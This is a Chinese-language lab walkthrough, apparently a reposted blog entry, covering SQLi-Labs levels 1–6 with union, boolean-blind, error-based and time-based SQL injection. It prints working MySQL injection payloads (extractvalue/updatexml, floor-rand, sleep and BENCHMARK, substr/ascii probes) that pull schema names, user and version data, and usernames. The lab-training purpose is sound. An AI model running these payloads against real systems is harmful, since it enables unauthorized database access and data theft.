SQLi-Labs之1~6关 - 常规注入与盲注

第一关

联合注入

1.准备

img

2.加'截断

img

3.order by 判断查询列数

img

4.同上

img

5.联合查询判断字段位置

img

6.查数据库名

img

7.1 查表名

img

7.2 查列名

img

8.查数据

img

第二关

img

不需要单引号截断,查询代码用了整数值

其余与第一关相同

第三关

img

说明用了(' ')结构

img

换成')即可

第四关

img

说明用了(" ")结构

img

换成")即可

第五关

img

不管输入什么都是提示u r in....

没有回显,尝试盲注

布尔盲注

布尔盲注方式有————

left(1,2)=3 //从左侧截取1的前2位,与3的值比较

ascii(substr(1,2,3)) //从2位置开始截取字符串1的3数值长度,转换为ascii值

regexp //正则匹配目标值和a-z指定值,正确为1,错误为0

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1)

like //和regexp一样

ord() 和 mid()

(1)用left

1.测试

img

img

2.测试数据库第一位是否大于b

img

是否大于y

img

由此可见第一位在b到y之间,可以用二分法测试,不用二分法的话可以用等于号一个个试

img

img

前两位这样测,以此类推

(2)用length量数据库长度

img

img

(3)用substr和ascii

img

img

img

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+

测试表名第一位是不是e

第二位把substr(x,2,1)改成2即可,以此类推

img

获取第三个表,把limit 0,1改成limit 2,1即可,表示从2开始(顺位第3),取第1个值

img

(4)用regexp

猜users表的列

and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)

img

img

(5)用ord和mid

获取user表内容

and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68

img

获取users表中username中的第一行的第一个字符的ascii,与68进行比较

报错盲注

报错盲注类型有————

count,floor,group by

double数值超出范围

bigint溢出 xpath函数——extractvalue和updatexml

数据重复性

(1)floor函数

img

union select 1,count(*),concat(0x3a,(select user()),0x3a,floor(rand(0)*2))a from information_schema.columns group by a

(2)double数值超出范围

(没能复现成功)

img

union select (exp(~(select*from(select user())x))),2,3

(3)bigint溢出

(也未能复现成功)

img

union select(!(select * from(select user())x) - ~0),2,3

(4)xpath函数

img

and extractvalue(1,concat(0x7e,(select @@version),0x7e))

img

and updatexml(1,concat(0x7e,(select@@version),0x7e),1)

(5)数据重复性

img

union select 1,2,3 from(select NAME_CONST(version(),1),NAME_CONST(version(),1))x

时间盲注

时间盲注类型有————

sleep()函数

BENCHMARK()函数

(1)sleep函数

错误,延时5秒

img

正确

img

and If(ascii(substr(database(),1,1))=115,1,sleep(5))

(2)BENCHMARK函数

正确

img

UNION SELECT(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM(select database() as current)as tb1

当结果正确的时候,运行ENCODE('MSG','by5seconds')操作50000000次,会占用一段时间和CPU资源

第六关

对id参数进行了处理,把'换成''即可

至此已基本介绍完一般注入类型

猜你喜欢

转载自www.cnblogs.com/drac4ry/p/12239497.html